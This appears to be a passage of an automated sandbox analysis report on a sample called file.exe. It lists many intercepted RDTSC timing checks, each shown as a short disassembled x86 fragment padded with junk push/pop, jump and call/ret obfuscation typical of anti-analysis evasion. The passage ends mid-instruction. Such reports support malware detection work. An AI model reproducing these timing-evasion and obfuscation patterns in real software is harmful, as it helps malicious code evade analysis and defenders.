Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A86B second address: 125A89D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F31753CFFD9h 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F31753CFFCAh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125B14B second address: 125B150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261C15 second address: 1261C19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261D38 second address: 1261D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F3174D2361Ch 0x0000000e jmp 00007F3174D23616h 0x00000013 pop edx 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 pushad 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261D65 second address: 1261D6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261D6F second address: 1261D8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 jno 00007F3174D2360Eh 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261D8E second address: 1261D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1266DE3 second address: 1266DF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3174D2360Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1266DF5 second address: 1266E2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F31753CFFD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F31753CFFD8h 0x00000010 jmp 00007F31753CFFCAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267217 second address: 126721C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126AC6C second address: 126AC70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126AD80 second address: 126AD87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126AD87 second address: 126AD8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126AD8C second address: 126AD92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B0B4 second address: 126B0CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F31753CFFD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B17E second address: 126B188 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F3174D23606h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B188 second address: 126B18C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B2FD second address: 126B301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B90B second address: 126B92E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F31753CFFD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B92E second address: 126B932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B932 second address: 126B950 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F31753CFFD6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B950 second address: 126B954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B9EC second address: 126B9F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126BAE3 second address: 126BAE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126BAE9 second address: 126BAED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126BAED second address: 126BB09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D23610h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126BB09 second address: 126BB0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126BB0D second address: 126BB11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126BB11 second address: 126BB1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F31753CFFC6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126BB1F second address: 126BB23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126BC22 second address: 126BC26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126BC26 second address: 126BC46 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3174D23608h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F3174D2360Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126BC46 second address: 126BC4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CDFE second address: 126CE02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CE02 second address: 126CE23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F31753CFFCDh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 ja 00007F31753CFFC6h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CE23 second address: 126CE29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CE29 second address: 126CE2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126D723 second address: 126D728 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E9F2 second address: 126E9F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E7C5 second address: 126E7C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E9F6 second address: 126E9FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E7C9 second address: 126E7CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E9FA second address: 126EA00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126EA00 second address: 126EA24 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+122D3868h], ebx 0x0000000f push 00000000h 0x00000011 mov dword ptr [ebp+122D1E14h], ecx 0x00000017 push 00000000h 0x00000019 mov esi, 52939608h 0x0000001e xchg eax, ebx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126EA24 second address: 126EA28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126EA28 second address: 126EA48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop ecx 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3174D23612h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126EA48 second address: 126EA4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270118 second address: 1270178 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D23618h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edi, ecx 0x0000000e mov di, ax 0x00000011 push 00000000h 0x00000013 movsx edi, dx 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007F3174D23608h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 0000001Ch 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 xor esi, 14D91602h 0x00000038 xchg eax, ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b jnp 00007F3174D23608h 0x00000041 push edi 0x00000042 pop edi 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270178 second address: 127018D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnp 00007F31753CFFE1h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12743BF second address: 12743C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F3174D23606h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12768B8 second address: 12768C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12777DE second address: 12777E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1275BB3 second address: 1275BB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12779BA second address: 12779C0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12787F1 second address: 12787FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F31753CFFC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12779C0 second address: 12779D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jnc 00007F3174D23606h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jng 00007F3174D23614h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1275BB9 second address: 1275BCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F31753CFFC6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12787FB second address: 127886B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D23619h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jnl 00007F3174D2360Eh 0x00000012 js 00007F3174D23608h 0x00000018 nop 0x00000019 mov dword ptr [ebp+122D2420h], edi 0x0000001f push 00000000h 0x00000021 or edi, dword ptr [ebp+122D2DEFh] 0x00000027 push 00000000h 0x00000029 jp 00007F3174D2360Ch 0x0000002f jbe 00007F3174D2360Bh 0x00000035 mov edi, 58A874E5h 0x0000003a xchg eax, esi 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F3174D23617h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12779D9 second address: 12779DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1275BCC second address: 1275BDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D2360Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127886B second address: 1278890 instructions: 0x00000000 rdtsc 0x00000002 js 00007F31753CFFCCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F31753CFFD2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1275BDD second address: 1275BE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12779DD second address: 1277A70 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov edi, eax 0x00000009 push dword ptr fs:[00000000h] 0x00000010 mov dword ptr [ebp+122D2AF4h], esi 0x00000016 mov dword ptr fs:[00000000h], esp 0x0000001d jmp 00007F31753CFFD8h 0x00000022 mov eax, dword ptr [ebp+122D10FDh] 0x00000028 push 00000000h 0x0000002a push ebx 0x0000002b call 00007F31753CFFC8h 0x00000030 pop ebx 0x00000031 mov dword ptr [esp+04h], ebx 0x00000035 add dword ptr [esp+04h], 0000001Dh 0x0000003d inc ebx 0x0000003e push ebx 0x0000003f ret 0x00000040 pop ebx 0x00000041 ret 0x00000042 mov edi, dword ptr [ebp+122D2D7Bh] 0x00000048 push FFFFFFFFh 0x0000004a mov dword ptr [ebp+122D295Ch], eax 0x00000050 nop 0x00000051 pushad 0x00000052 push ecx 0x00000053 pushad 0x00000054 popad 0x00000055 pop ecx 0x00000056 push ebx 0x00000057 pushad 0x00000058 popad 0x00000059 pop ebx 0x0000005a popad 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F31753CFFD7h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1275BE3 second address: 1275BE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127AAB5 second address: 127AABA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127BB2B second address: 127BB2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127BB2F second address: 127BBB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F31753CFFC8h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 stc 0x00000024 mov ebx, dword ptr [ebp+122D2AF4h] 0x0000002a push 00000000h 0x0000002c call 00007F31753CFFD8h 0x00000031 mov dword ptr [ebp+122D2FA0h], ebx 0x00000037 pop edi 0x00000038 mov di, F954h 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push ebp 0x00000041 call 00007F31753CFFC8h 0x00000046 pop ebp 0x00000047 mov dword ptr [esp+04h], ebp 0x0000004b add dword ptr [esp+04h], 0000001Ah 0x00000053 inc ebp 0x00000054 push ebp 0x00000055 ret 0x00000056 pop ebp 0x00000057 ret 0x00000058 sub bx, E337h 0x0000005d ja 00007F31753CFFC7h 0x00000063 cmc 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 push ebx 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127BBB8 second address: 127BBBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127CA33 second address: 127CA39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127CA39 second address: 127CA4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F3174D23608h 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127DAC3 second address: 127DAC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128194C second address: 128199C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D23614h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F3174D23608h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 push 00000000h 0x00000028 mov edi, dword ptr [ebp+122D2B6Fh] 0x0000002e push 00000000h 0x00000030 mov bx, ax 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128199C second address: 12819A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12819A0 second address: 12819A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1282869 second address: 128286D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128286D second address: 128287F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F3174D23608h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128287F second address: 1282904 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F31753CFFD8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov bx, 6B7Eh 0x0000000f push 00000000h 0x00000011 jmp 00007F31753CFFD8h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007F31753CFFC8h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 movzx ebx, cx 0x00000035 mov bx, 12DAh 0x00000039 xchg eax, esi 0x0000003a jnc 00007F31753CFFD7h 0x00000040 push eax 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 jne 00007F31753CFFC6h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1282904 second address: 128291B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D2360Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128291B second address: 128291F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127DC49 second address: 127DCD0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3174D23606h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b nop 0x0000000c or di, 737Ah 0x00000011 push dword ptr fs:[00000000h] 0x00000018 adc ebx, 3E515682h 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 push 00000000h 0x00000027 push edx 0x00000028 call 00007F3174D23608h 0x0000002d pop edx 0x0000002e mov dword ptr [esp+04h], edx 0x00000032 add dword ptr [esp+04h], 00000016h 0x0000003a inc edx 0x0000003b push edx 0x0000003c ret 0x0000003d pop edx 0x0000003e ret 0x0000003f pushad 0x00000040 mov di, DC2Ah 0x00000044 jmp 00007F3174D2360Bh 0x00000049 popad 0x0000004a mov eax, dword ptr [ebp+122D083Dh] 0x00000050 push FFFFFFFFh 0x00000052 push 00000000h 0x00000054 push esi 0x00000055 call 00007F3174D23608h 0x0000005a pop esi 0x0000005b mov dword ptr [esp+04h], esi 0x0000005f add dword ptr [esp+04h], 00000018h 0x00000067 inc esi 0x00000068 push esi 0x00000069 ret 0x0000006a pop esi 0x0000006b ret 0x0000006c nop 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 jnp 00007F3174D23606h 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127DCD0 second address: 127DCD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127EC42 second address: 127EC5D instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3174D2360Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007F3174D23606h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127FC49 second address: 127FCC2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov bx, 16F5h 0x0000000f push dword ptr fs:[00000000h] 0x00000016 xor bx, 7652h 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 push 00000000h 0x00000024 push ecx 0x00000025 call 00007F31753CFFC8h 0x0000002a pop ecx 0x0000002b mov dword ptr [esp+04h], ecx 0x0000002f add dword ptr [esp+04h], 00000017h 0x00000037 inc ecx 0x00000038 push ecx 0x00000039 ret 0x0000003a pop ecx 0x0000003b ret 0x0000003c xor edi, dword ptr [ebp+122D2D9Fh] 0x00000042 add dword ptr [ebp+122D382Fh], eax 0x00000048 mov eax, dword ptr [ebp+122D140Dh] 0x0000004e mov dword ptr [ebp+1244C42Ah], ebx 0x00000054 pushad 0x00000055 or dword ptr [ebp+122D387Bh], esi 0x0000005b mov esi, dword ptr [ebp+122D2DD3h] 0x00000061 popad 0x00000062 push FFFFFFFFh 0x00000064 mov ebx, dword ptr 